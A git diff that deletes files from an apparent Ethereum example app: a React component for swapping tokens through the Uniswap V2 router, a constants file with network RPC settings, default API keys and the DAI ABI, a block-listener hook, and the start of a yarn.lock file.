-import { abi as IUniswapV2Router02ABI } from '@uniswap/v2-periphery/build/IUniswapV2Router02.json'
-import { useDebounce } from "../hooks";
-
-const { Option } = Select;
-const { Text } = Typography;
-
-export const ROUTER_ADDRESS = '0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D'
-
-export const ZERO_ADDRESS = '0x0000000000000000000000000000000000000000'
-
-const erc20Abi = [
-    "function balanceOf(address owner) view returns (uint256)",
-    "function approve(address _spender, uint256 _value) public returns (bool success)",
-    "function allowance(address _owner, address _spender) public view returns (uint256 remaining)"
-];
-
-const makeCall = async (callName, contract, args, metadata={}) => {
-  if(contract[callName]) {
-    let result
-    if(args) {
-      result = await contract[callName](...args, metadata)
-    } else {
-      result = await contract[callName]()
-    }
-    return result
-  } else {
-    console.log('no call of that name!')
-  }
-}
-
-let defaultToken = 'ETH'
-let defaultTokenOut = 'DAI'
-let defaultSlippage = '0.5'
-let defaultTimeLimit = 60 * 10
-
-const tokenListToObject = (array) =>
-   array.reduce((obj, item) => {
-     obj[item.symbol] = new Token(item.chainId, item.address, item.decimals, item.symbol, item.name)
-     return obj
-   }, {})
-
-function Swap({ selectedProvider, tokenListURI }) {
-
-  const [tokenIn, setTokenIn] = useState(defaultToken)
-  const [tokenOut, setTokenOut] = useState(defaultTokenOut)
-  const [exact, setExact] = useState()
-  const [amountIn, setAmountIn] = useState()
-  const [amountInMax, setAmountInMax] = useState()
-  const [amountOut, setAmountOut] = useState()
-  const [amountOutMin, setAmountOutMin] = useState()
-  const [trades, setTrades] = useState()
-  const [routerAllowance, setRouterAllowance] = useState()
-  const [balanceIn, setBalanceIn] = useState()
-  const [balanceOut, setBalanceOut] = useState()
-  const [slippageTolerance, setSlippageTolerance] = useState(new Percent(Math.round(defaultSlippage*100).toString(), "10000"))
-  const [timeLimit, setTimeLimit] = useState(defaultTimeLimit)
-  const [swapping, setSwapping] = useState(false)
-  const [approving, setApproving] = useState(false)
-  const [settingsVisible, setSettingsVisible] = useState(false)
-  const [swapModalVisible, setSwapModalVisible] = useState(false)
-
-  const [tokenList, setTokenList] = useState([])
-
-  const [tokens, setTokens] = useState()
-
-  const [invertPrice, setInvertPrice] = useState(false)
-
-  let blockNumber = useBlockNumber(selectedProvider, 3000)
-
-  let signer = selectedProvider.getSigner()
-  let routerContract = new ethers.Contract(ROUTER_ADDRESS, IUniswapV2Router02ABI, signer);
-
-  let _tokenListUri = tokenListURI ? tokenListURI : 'https://gateway.ipfs.io/ipns/tokens.uniswap.org'
-
-  const debouncedAmountIn = useDebounce(amountIn, 500);
-  const debouncedAmountOut = useDebounce(amountOut, 500);
-
-  const activeChainId = (process.env.REACT_APP_NETWORK === 'kovan' ? ChainId.KOVAN : ChainId.MAINNET)
-
-  useEffect(() => {
-    const getTokenList = async () => {
-      console.log(_tokenListUri)
-      try {
-      let tokenList = await fetch(_tokenListUri)
-      let tokenListJson = await tokenList.json()
-      let filteredTokens = tokenListJson.tokens.filter(function (t) {
-        return t.chainId === activeChainId
-      })
-      let ethToken = WETH[activeChainId]
-      ethToken.name = 'Ethereum'
-      ethToken.symbol = 'ETH'
-      ethToken.logoURI = "https://raw.githubusercontent.com/trustwallet/assets/master/blockchains/ethereum/assets/0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2/logo.png"
-      let _tokenList = [ethToken, ...filteredTokens]
-      setTokenList(_tokenList)
-      let _tokens = tokenListToObject(_tokenList)
-      setTokens(_tokens)
-    } catch (e) {
-      console.log(e)
-    }
-    }
-    getTokenList()
-  },[tokenListURI])
-
-  const getTrades = async () => {
-    if(tokenIn && tokenOut && (amountIn || amountOut)) {
-
-    let pairs = (arr) => arr.map( (v, i) => arr.slice(i + 1).map(w => [v,w]) ).flat();
-
-    let baseTokens = tokenList.filter(function (t) {
-      return ['DAI', 'USDC', 'USDT', 'COMP', 'ETH', 'MKR', 'LINK', tokenIn, tokenOut].includes(t.symbol)
-    }).map((el) => {
-      return new Token(el.chainId, el.address, el.decimals, el.symbol, el.name)
-    })
-
-    let listOfPairwiseTokens = pairs(baseTokens)
-
-    const getPairs = async (list) => {
-
-      let listOfPromises = list.map(item => Fetcher.fetchPairData(item[0], item[1], selectedProvider))
-      return Promise.all(listOfPromises.map(p => p.catch(() => undefined)));
-    }
-
-    let listOfPairs = await getPairs(listOfPairwiseTokens)
-
-    let bestTrade
-
-    if(exact === 'in') {
-      setAmountInMax()
-      bestTrade = Trade.bestTradeExactIn(
-      listOfPairs.filter(item => item),
-      new TokenAmount(tokens[tokenIn], parseUnits(amountIn.toString(), tokens[tokenIn].decimals)),
-      tokens[tokenOut], { maxNumResults: 3, maxHops: 1 })
-      if(bestTrade[0]) {
-        setAmountOut(bestTrade[0].outputAmount.toSignificant(6))
-      } else { setAmountOut() }
-    } else if (exact === 'out') {
-      setAmountOutMin()
-      bestTrade = Trade.bestTradeExactOut(
-      listOfPairs.filter(item => item),
-      tokens[tokenIn],
-      new TokenAmount(tokens[tokenOut], parseUnits(amountOut.toString(), tokens[tokenOut].decimals)),
-     { maxNumResults: 3, maxHops: 1 })
-      if(bestTrade[0]) {
-        setAmountIn(bestTrade[0].inputAmount.toSignificant(6))
-      } else { setAmountIn() }
-    }
-
-    setTrades(bestTrade)
-
-    console.log(bestTrade)
-
-  }
-  }
-
-  useEffect(() => {
-      getTrades()
-  },[tokenIn, tokenOut, debouncedAmountIn, debouncedAmountOut, slippageTolerance, selectedProvider])
-
-  useEffect(() => {
-    if(trades && trades[0]) {
-      if(exact === 'in') {
-        setAmountOutMin(trades[0].minimumAmountOut(slippageTolerance))
-      } else if (exact === 'out') {
-        setAmountInMax(trades[0].maximumAmountIn(slippageTolerance))
-      }
-    }
-  }, [slippageTolerance, amountIn, amountOut, trades])
-
-  const getBalance = async (_token, _account, _contract) => {
-
-    let newBalance
-    if(_token === 'ETH') {
-      newBalance = await selectedProvider.getBalance(_account)
-    } else {
-      newBalance = await makeCall('balanceOf', _contract, [_account])
-    }
-    return newBalance
-  }
-
-  const getAccountInfo = async () => {
-
-    if(tokens) {
-
-      let accountList = await selectedProvider.listAccounts()
-
-      if(tokenIn) {
-        let tempContractIn = new ethers.Contract(tokens[tokenIn].address, erc20Abi, selectedProvider);
-        let newBalanceIn = await getBalance(tokenIn, accountList[0], tempContractIn)
-        setBalanceIn(newBalanceIn)
-
-        let allowance
-
-        if(tokenIn === 'ETH') {
-          setRouterAllowance()
-        } else {
-          allowance = await makeCall('allowance',tempContractIn,[accountList[0],ROUTER_ADDRESS])
-          setRouterAllowance(allowance)
-        }
-        }
-
-      if(tokenOut) {
-        let tempContractOut = new ethers.Contract(tokens[tokenOut].address, erc20Abi, selectedProvider);
-        let newBalanceOut = await getBalance(tokenOut, accountList[0], tempContractOut)
-        setBalanceOut(newBalanceOut)
-      }
-    }
-  }
-
-  usePoller(getAccountInfo, 6000)
-
-  let route = trades ? (trades.length > 0 ? trades[0].route.path.map(function(item) {
-    return item['symbol'];
-  }) : []) : []
-
-  const updateRouterAllowance = async (newAllowance) => {
-    setApproving(true)
-    try {
-    let tempContract = new ethers.Contract(tokens[tokenIn].address, erc20Abi, signer);
-    let result = await makeCall('approve', tempContract, [ROUTER_ADDRESS, newAllowance])
-    console.log(result)
-    setApproving(false)
-    return true
-  } catch(e) {
-      notification.open({
-        message: 'Approval unsuccessful',
-        description:
-        `Error: ${e.message}`,
-      });
-    }
-  }
-
-  const approveRouter = async () => {
-    let approvalAmount = exact === 'in' ? ethers.utils.hexlify(parseUnits(amountIn.toString(), tokens[tokenIn].decimals)) : amountInMax.raw.toString()
-    console.log(approvalAmount)
-    let approval = updateRouterAllowance(approvalAmount)
-    if(approval) {
-      notification.open({
-        message: 'Token transfer approved',
-        description:
-        `You can now swap up to ${amountIn} ${tokenIn}`,
-      });
-    }
-  }
-
-  const removeRouterAllowance = async () => {
-    let approvalAmount = ethers.utils.hexlify(0)
-    console.log(approvalAmount)
-    let removal = updateRouterAllowance(approvalAmount)
-    if(removal) {
-      notification.open({
-        message: 'Token approval removed',
-        description:
-        `The router is no longer approved for ${tokenIn}`,
-      });
-    }
-  }
-
-  const executeSwap = async () => {
-    setSwapping(true)
-    try {
-      let args
-      let metadata = {}
-
-      let call
-      let deadline = Math.floor(Date.now() / 1000) + timeLimit
-      let path = trades[0].route.path.map(function(item) {
-        return item['address'];
-      })
-      console.log(path)
-      let accountList = await selectedProvider.listAccounts()
-      let address = accountList[0]
-
-      if (exact === 'in') {
-        let _amountIn = ethers.utils.hexlify(parseUnits(amountIn.toString(), tokens[tokenIn].decimals))
-        let _amountOutMin = ethers.utils.hexlify(ethers.BigNumber.from(amountOutMin.raw.toString()))
-        if (tokenIn === 'ETH') {
-          call = 'swapExactETHForTokens'
-          args = [_amountOutMin, path, address, deadline]
-          metadata['value'] = _amountIn
-        } else {
-          call = tokenOut === 'ETH' ? 'swapExactTokensForETH' : 'swapExactTokensForTokens'
-          args = [_amountIn, _amountOutMin, path, address, deadline]
-        }
-      } else if (exact === 'out') {
-        let _amountOut = ethers.utils.hexlify(parseUnits(amountOut.toString(), tokens[tokenOut].decimals))
-        let _amountInMax = ethers.utils.hexlify(ethers.BigNumber.from(amountInMax.raw.toString()))
-        if (tokenIn === 'ETH') {
-          call = 'swapETHForExactTokens'
-          args = [_amountOut, path, address, deadline]
-          metadata['value'] = _amountInMax
-        } else {
-          call = tokenOut === 'ETH' ? 'swapTokensForExactETH' : 'swapTokensForExactTokens'
-          args = [_amountOut, _amountInMax, path, address, deadline]
-        }
-      }
-      console.log(call, args, metadata)
-      let result = await makeCall(call, routerContract, args, metadata)
-      console.log(result)
-      notification.open({
-        message: 'Swap complete 🦄',
-        description:
-        <><Text>{`Swapped ${tokenIn} for ${tokenOut}, transaction: `}</Text><Text copyable>{result.hash}</Text></>,
-      });
-      setSwapping(false)
-  } catch (e) {
-    console.log(e)
-    setSwapping(false)
-    notification.open({
-      message: 'Swap unsuccessful',
-      description:
-      `Error: ${e.message}`,
-    });
-  }
-  }
-
-  const showSwapModal = () => {
-    setSwapModalVisible(true);
-  };
-
-  const handleSwapModalOk = () => {
-    setSwapModalVisible(false);
-    executeSwap()
-  };
-
-  const handleSwapModalCancel = () => {
-    setSwapModalVisible(false);
-  };
-
-  let insufficientBalance = balanceIn ? parseFloat(formatUnits(balanceIn,tokens[tokenIn].decimals)) < amountIn : null
-  let inputIsToken = tokenIn !== 'ETH'
-  let insufficientAllowance = !inputIsToken ? false : routerAllowance ? parseFloat(formatUnits(routerAllowance,tokens[tokenIn].decimals)) < amountIn : null
-  let formattedBalanceIn = balanceIn?parseFloat(formatUnits(balanceIn,tokens[tokenIn].decimals)).toPrecision(6):null
-  let formattedBalanceOut = balanceOut?parseFloat(formatUnits(balanceOut,tokens[tokenOut].decimals)).toPrecision(6):null
-
-  let metaIn = tokens && tokenList && tokenIn ? tokenList.filter(function (t) {
-    return t.address === tokens[tokenIn].address
-  })[0] : null
-  let metaOut = tokens && tokenList && tokenOut ? tokenList.filter(function (t) {
-    return t.address === tokens[tokenOut].address
-    })[0] : null
-
-  const cleanIpfsURI = (uri) => {
-    try {
-    return (uri).replace('ipfs://','https://ipfs.io/ipfs/')
-  } catch(e) {
-    console.log(e, uri)
-    return uri
-  }
-  }
-
-  let logoIn = metaIn?cleanIpfsURI(metaIn.logoURI):null
-  let logoOut = metaOut?cleanIpfsURI(metaOut.logoURI):null
-
-  let rawPrice = trades&&trades[0]?trades[0].executionPrice:null
-  let price = rawPrice?rawPrice.toSignificant(7):null
-  let priceDescription = rawPrice ? (invertPrice ? `${(rawPrice.invert()).toSignificant(7)} ${tokenIn} per ${tokenOut}` : `${price} ${tokenOut} per ${tokenIn}`) : null
-
-  let priceWidget = (
-    <Space>
-    <Text type="secondary">{priceDescription}</Text>
-    <Button type="text" onClick={() => {setInvertPrice(!invertPrice)}}><RetweetOutlined /></Button>
-    </Space>
-  )
-
-  let swapModal = (
-    <Modal title="Confirm swap" visible={swapModalVisible} onOk={handleSwapModalOk} onCancel={handleSwapModalCancel}>
-      <Row><Space><img src={logoIn} alt={tokenIn} width='30'/>{amountIn}{tokenIn}</Space></Row>
-      <Row justify='center' align='middle' style={{width:30}}><span>↓</span></Row>
-      <Row><Space><img src={logoOut} alt={tokenOut} width='30'/>{amountOut}{tokenOut}</Space></Row>
-      <Divider/>
-      <Row>{priceWidget}</Row>
-      <Row>{trades&&((amountOutMin && exact==='in') || (amountInMax && exact==='out'))?(exact==='in'?`Output is estimated. You will receive at least ${amountOutMin.toSignificant(6)} ${tokenOut} or the transaction will revert.`:`Input is estimated. You will sell at most ${amountInMax.toSignificant(6)} ${tokenIn} or the transaction will revert.`):null}</Row>
-    </Modal>
-  )
-
-  return (
-    <Card title={<Space><img src="https://ipfs.io/ipfs/QmXttGpZrECX5qCyXbBQiqgQNytVGeZW5Anewvh2jc4psg" width='40' alt='uniswapLogo'/><Typography>Uniswapper</Typography></Space>} extra={<Button type="text" onClick={() => {setSettingsVisible(true)}}><SettingOutlined /></Button>}>
-    <Space direction="vertical">
-    <Row justify="center" align="middle">
-    <Card size="small" type="inner" title={`From${exact==='out' && tokenIn && tokenOut?' (estimate)':''}`} extra={<><img src={logoIn} alt={tokenIn} width='30'/><Button type="link" onClick={() => {
-      setAmountOut()
-      setAmountIn(formatUnits(balanceIn,tokens[tokenIn].decimals))
-      setAmountOutMin()
-      setAmountInMax()
-      setExact('in')
-    }}>{formattedBalanceIn}</Button></>} style={{ width: 400, textAlign: 'left' }}>
-      <InputNumber style={{width: '160px'}} min={0} size={'large'} value={amountIn} onChange={(e) => {
-        setAmountOut()
-        setTrades()
-        setAmountIn(e)
-        setExact('in')
-      }}/>
-      <Select showSearch value={tokenIn} style={{width: '120px'}} size={'large'} bordered={false} defaultValue={defaultToken} onChange={(value) => {
-        console.log(value)
-        if(value===tokenOut) {
-          console.log('switch!', tokenIn)
-          setTokenOut(tokenIn)
-          setAmountOut(amountIn)
-          setBalanceOut(balanceIn)
-        }
-        setTokenIn(value)
-        setTrades()
-        setAmountIn()
-        setExact('out')
-        setBalanceIn()
-      }} filterOption={(input, option) =>
-      option.children.toLowerCase().indexOf(input.toLowerCase()) >= 0
-      } optionFilterProp="children">
-      {tokenList.map(token => (
-        <Option key={token.symbol} value={token.symbol}>{token.symbol}</Option>
-      ))}
-      </Select>
-    </Card>
-    </Row>
-    <Row justify="center" align="middle">
-      <Tooltip title={route.join("->")}><span>↓</span></Tooltip>
-    </Row>
-    <Row justify="center" align="middle">
-    <Card size="small" type="inner" title={`To${exact==='in' && tokenIn && tokenOut?' (estimate)':''}`} extra={<><img src={logoOut} width='30' alt={tokenOut}/><Button type="text">{formattedBalanceOut}</Button></>} style={{ width: 400, textAlign: 'left' }}>
-      <InputNumber style={{width: '160px'}} size={'large'} min={0} value={amountOut} onChange={(e) => {
-        setAmountOut(e)
-        setAmountIn()
-        setTrades()
-        setExact('out')
-      }}/>
-      <Select showSearch value={tokenOut} style={{width: '120px'}} size={'large'} bordered={false} onChange={(value) => {
-        console.log(value, tokenIn, tokenOut)
-        if(value===tokenIn) {
-          console.log('switch!', tokenOut)
-          setTokenIn(tokenOut)
-          setAmountIn(amountOut)
-          setBalanceIn(balanceOut)
-        }
-        setTokenOut(value)
-        setExact('in')
-        setAmountOut()
-        setTrades()
-        setBalanceOut()
-      }} filterOption={(input, option) =>
-      option.children.toLowerCase().indexOf(input.toLowerCase()) >= 0
-      } optionFilterProp="children">
-      {tokenList.map(token => (
-        <Option key={token.symbol} value={token.symbol}>{token.symbol}</Option>
-      ))}
-      </Select>
-    </Card>
-    </Row>
-    <Row justify="center" align="middle">
-      {priceDescription?priceWidget:null}
-    </Row>
-    <Row justify="center" align="middle">
-    <Space>
-      {inputIsToken?<Button size="large" loading={approving} disabled={!insufficientAllowance} onClick={approveRouter}>{(!insufficientAllowance&&amountIn&&amountOut)?'Approved':'Approve'}</Button>:null}
-      <Button size="large" loading={swapping} disabled={insufficientAllowance || insufficientBalance || !amountIn || !amountOut} onClick={showSwapModal}>{insufficientBalance?'Insufficient balance':'Swap!'}</Button>
-      {swapModal}
-    </Space>
-    </Row>
-    </Space>
-    <Drawer visible={settingsVisible} onClose={() => { setSettingsVisible(false) }} width={500}>
-    <Descriptions title="Details" column={1} style={{textAlign: 'left'}}>
-      <Descriptions.Item label="blockNumber">{blockNumber}</Descriptions.Item>
-      <Descriptions.Item label="routerAllowance"><Space>{routerAllowance?formatUnits(routerAllowance,tokens[tokenIn].decimals):null}{routerAllowance>0?<Button onClick={removeRouterAllowance}>Remove Allowance</Button>:null}</Space></Descriptions.Item>
-      <Descriptions.Item label="route">{route.join("->")}</Descriptions.Item>
-      <Descriptions.Item label="exact">{exact}</Descriptions.Item>
-      <Descriptions.Item label="bestPrice">{trades ? (trades.length > 0 ? trades[0].executionPrice.toSignificant(6) : null) : null}</Descriptions.Item>
-      <Descriptions.Item label="nextMidPrice">{trades ? (trades.length > 0 ? trades[0].nextMidPrice.toSignificant(6) : null) : null}</Descriptions.Item>
-      <Descriptions.Item label="priceImpact">{trades ? (trades.length > 0 ? trades[0].priceImpact.toSignificant(6) : null) : null}</Descriptions.Item>
-      <Descriptions.Item label="slippageTolerance">{<InputNumber
-        defaultValue={defaultSlippage}
-        min={0}
-        max={100}
-        precision={2}
-        formatter={value => `${value}%`}
-        parser={value => value.replace('%', '')}
-        onChange={(value) => {
-          console.log(value)
-
-         let slippagePercent = new Percent(Math.round(value*100).toString(), "10000")
-         setSlippageTolerance(slippagePercent)
-       }}
-      />}</Descriptions.Item>
-      <Descriptions.Item label="amountInMax">{amountInMax?amountInMax.toExact():null}</Descriptions.Item>
-      <Descriptions.Item label="amountOutMin">{amountOutMin?amountOutMin.toExact():null}</Descriptions.Item>
-      <Descriptions.Item label="timeLimitInSeconds">{<InputNumber
-              min={0}
-              max={3600}
-              defaultValue={defaultTimeLimit}
-              onChange={(value) => {
-              console.log(value)
-              setTimeLimit(value)
-             }}
-            />}</Descriptions.Item>
-    </Descriptions>
-    </Drawer>
-    </Card>
-  )
-
-}
-
-export default Swap;
diff --git a/Example16-hardhat-auction-exchange/react-app/src/constants.js b/Example16-hardhat-auction-exchange/react-app/src/constants.js
deleted file mode 100644
index 29e48c4c4..000000000
--- a/Example16-hardhat-auction-exchange/react-app/src/constants.js
+++ /dev/null
@@ -1,102 +0,0 @@
-// MY INFURA_ID, SWAP IN YOURS FROM https://infura.io/dashboard/ethereum
-export const INFURA_ID = "460f40a260564ac4a4f4b3fffb032dad";
-
-//MY ETHERSCAN_ID, SWAP IN YOURS FROM https://etherscan.io/myapikey
-export const ETHERSCAN_KEY = "PSW8C433Q667DVEX5BCRMGNAH9FSGFZ7Q8";
-
-//BLOCKNATIVE ID FOR Notify.js:
-export const BLOCKNATIVE_DAPPID = "0b58206a-f3c0-4701-a62f-73c7243e8c77"
-
-
-// EXTERNAL CONTRACTS
-
-export const DAI_ADDRESS = "0x6B175474E89094C44Da98b954EedeAC495271d0F"
-
-export const DAI_ABI = [{"inputs":[{"internalType":"uint256","name":"chainId_","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"src","type":"address"},{"indexed":true,"internalType":"address","name":"guy","type":"address"},{"indexed":false,"internalType":"uint256","name":"wad","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":true,"inputs":[{"indexed":true,"internalType":"bytes4","name":"sig","type":"bytes4"},{"indexed":true,"internalType":"address","name":"usr","type":"address"},{"indexed":true,"internalType":"bytes32","name":"arg1","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"arg2","type":"bytes32"},{"indexed":false,"internalType":"bytes","name":"data","type":"bytes"}],"name":"LogNote","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"src","type":"address"},{"indexed":true,"internalType":"address","name":"dst","type":"address"},{"indexed":false,"internalType":"uint256","name":"wad","type":"uint256"}],"name":"Transfer","type":"event"},{"constant":true,"inputs":[],"name":"DOMAIN_SEPARATOR","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"PERMIT_TYPEHASH","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"usr","type":"address"},{"internalType":"uint256","name":"wad","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"usr","type":"address"},{"internalType":"uint256","name":"wad","type":"uint256"}],"name":"burn","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"guy","type":"address"}],"name":"deny","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"usr","type":"address"},{"internalType":"uint256","name":"wad","type":"uint256"}],"name":"mint","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"src","type":"address"},{"internalType":"address","name":"dst","type":"address"},{"internalType":"uint256","name":"wad","type":"uint256"}],"name":"move","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"nonce","type":"uint256"},{"internalType":"uint256","name":"expiry","type":"uint256"},{"internalType":"bool","name":"allowed","type":"bool"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"permit","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"usr","type":"address"},{"internalType":"uint256","name":"wad","type":"uint256"}],"name":"pull","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"usr","type":"address"},{"internalType":"uint256","name":"wad","type":"uint256"}],"name":"push","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"guy","type":"address"}],"name":"rely","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"dst","type":"address"},{"internalType":"uint256","name":"wad","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"src","type":"address"},{"internalType":"address","name":"dst","type":"address"},{"internalType":"uint256","name":"wad","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"version","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"wards","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"}]
-
-export const NETWORK = (chainId)=>{
-  for(let n in NETWORKS){
-    if(NETWORKS[n].chainId==chainId){
-      return NETWORKS[n]
-    }
-  }
-}
-
-export const NETWORKS = {
-    localhost: {
-        name: "localhost",
-        color: '#666666',
-        chainId: 31337,
-        blockExplorer: '',
-        rpcUrl: "http://" + window.location.hostname + ":8545",
-    },
-    mainnet: {
-        name: "mainnet",
-        color: '#ff8b9e',
-        chainId: 1,
-        rpcUrl: `https://mainnet.infura.io/v3/${INFURA_ID}`,
-        blockExplorer: "https://etherscan.io/",
-    },
-    kovan: {
-        name: "kovan",
-        color: '#7003DD',
-        chainId: 42,
-        rpcUrl: `https://kovan.infura.io/v3/${INFURA_ID}`,
-        blockExplorer: "https://kovan.etherscan.io/",
-        faucet: "https://gitter.im/kovan-testnet/faucet",//https://faucet.kovan.network/
-    },
-    rinkeby: {
-        name: "rinkeby",
-        color: '#e0d068',
-        chainId: 4,
-        rpcUrl: `https://rinkeby.infura.io/v3/${INFURA_ID}`,
-        faucet: "https://faucet.rinkeby.io/",
-        blockExplorer: "https://rinkeby.etherscan.io/",
-    },
-    ropsten: {
-        name: "ropsten",
-        color: '#F60D09',
-        chainId: 3,
-        faucet: "https://faucet.ropsten.be/",
-        blockExplorer: "https://ropsten.etherscan.io/",
-        rpcUrl: `https://ropsten.infura.io/v3/${INFURA_ID}`,
-    },
-    goerli: {
-        name: "goerli",
-        color: '#0975F6',
-        chainId: 5,
-        faucet: "https://goerli-faucet.slock.it/",
-        blockExplorer: "https://goerli.etherscan.io/",
-        rpcUrl: `https://goerli.infura.io/v3/${INFURA_ID}`,
-    },
-    xdai: {
-        name: "xdai",
-        color: '#48a9a6',
-        chainId: 100,
-        price: 1,
-        gasPrice:1000000000,
-        rpcUrl: "https://dai.poa.network",
-        faucet: "https://xdai-faucet.top/",
-        blockExplorer: "https://blockscout.com/poa/xdai/",
-    },
-    matic: {
-        name: "matic",
-        color: '#2bbdf7',
-        chainId: 137,
-        price: 1,
-        gasPrice:1000000000,
-        rpcUrl: "https://rpc-mainnet.maticvigil.com",
-        faucet: "https://faucet.matic.network/",
-        blockExplorer: "https://explorer-mainnet.maticvigil.com//",
-    },
-    mumbai: {
-        name: "mumbai",
-        color: '#92D9FA',
-        chainId: 80001,
-        price: 1,
-        gasPrice:1000000000,
-        rpcUrl: "https://rpc-mumbai.maticvigil.com",
-        faucet: "https://faucet.matic.network/",
-        blockExplorer: "https://mumbai-explorer.matic.today/",
-    }
-}
diff --git a/Example16-hardhat-auction-exchange/react-app/src/hooks/OnBlock.js b/Example16-hardhat-auction-exchange/react-app/src/hooks/OnBlock.js
deleted file mode 100644
index c93c19393..000000000
--- a/Example16-hardhat-auction-exchange/react-app/src/hooks/OnBlock.js
+++ /dev/null
@@ -1,35 +0,0 @@
-import { useEffect, useRef } from "react";
-
-// helper hook to call a function regularly in time intervals
-let DEBUG = false
-
-export default function useOnBlock(provider, fn, args) {
-  const savedCallback = useRef();
-  // Remember the latest fn.
-  useEffect(() => {
-    savedCallback.current = fn;
-  }, [fn]);
-
-  // Turn on the listener if we have a function & a provider
-  useEffect(() => {
-  if (fn && provider) {
-
-    const listener = (blockNumber) => {
-      if (DEBUG) console.log(blockNumber, fn, args, provider.listeners())
-
-      if (args && args.length > 0) {
-        savedCallback.current(...args);
-      } else {
-        savedCallback.current();
-      }
-
-    }
-
-    provider.on("block", listener)
-
-    return () => {
-        provider.off("block", listener)
-    }
-}
-},[provider])
-}
diff --git a/Example16-hardhat-auction-exchange/react-app/yarn.lock b/Example16-hardhat-auction-exchange/react-app/yarn.lock
deleted file mode 100644
index 100a0cf9b..000000000
--- a/Example16-hardhat-auction-exchange/react-app/yarn.lock
+++ /dev/null
@@ -1,16633 +0,0 @@
-# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
-# yarn lockfile v1
-
-
-"@ant-design/colors@^6.0.0":
-  version "6.0.0"
-  resolved "https://registry.yarnpkg.com/@ant-design/colors/-/colors-6.0.0.tgz#9b9366257cffcc47db42b9d0203bb592c13c0298"
-  integrity sha512-qAZRvPzfdWHtfameEGP2Qvuf838NhergR35o+EuVyB5XvSA98xod5r4utvi4TJ3ywmevm290g9nsCG5MryrdWQ==
-  dependencies:
-    "@ctrl/tinycolor" "^3.4.0"
-
-"@ant-design/icons-svg@^4.0.0":
-  version "4.1.0"
-  resolved "https://registry.yarnpkg.com/@ant-design/icons-svg/-/icons-svg-4.1.0.tgz#480b025f4b20ef7fe8f47d4a4846e4fee84ea06c"
-  integrity sha512-Fi03PfuUqRs76aI3UWYpP864lkrfPo0hluwGqh7NJdLhvH4iRDc3jbJqZIvRDLHKbXrvAfPPV3+zjUccfFvWOQ==
-
-"@ant-design/icons@^4.2.2", "@ant-design/icons@^4.6.2":
-  version "4.6.2"
-  resolved "https://registry.yarnpkg.com/@ant-design/icons/-/icons-4.6.2.tgz#290f2e8cde505ab081fda63e511e82d3c48be982"
-  integrity sha512-QsBG2BxBYU/rxr2eb8b2cZ4rPKAPBpzAR+0v6rrZLp/lnyvflLH3tw1vregK+M7aJauGWjIGNdFmUfpAOtw25A==
-  dependencies:
-    "@ant-design/colors" "^6.0.0"
-    "@ant-design/icons-svg" "^4.0.0"
-    "@babel/runtime" "^7.11.2"
-    classnames "^2.2.6"
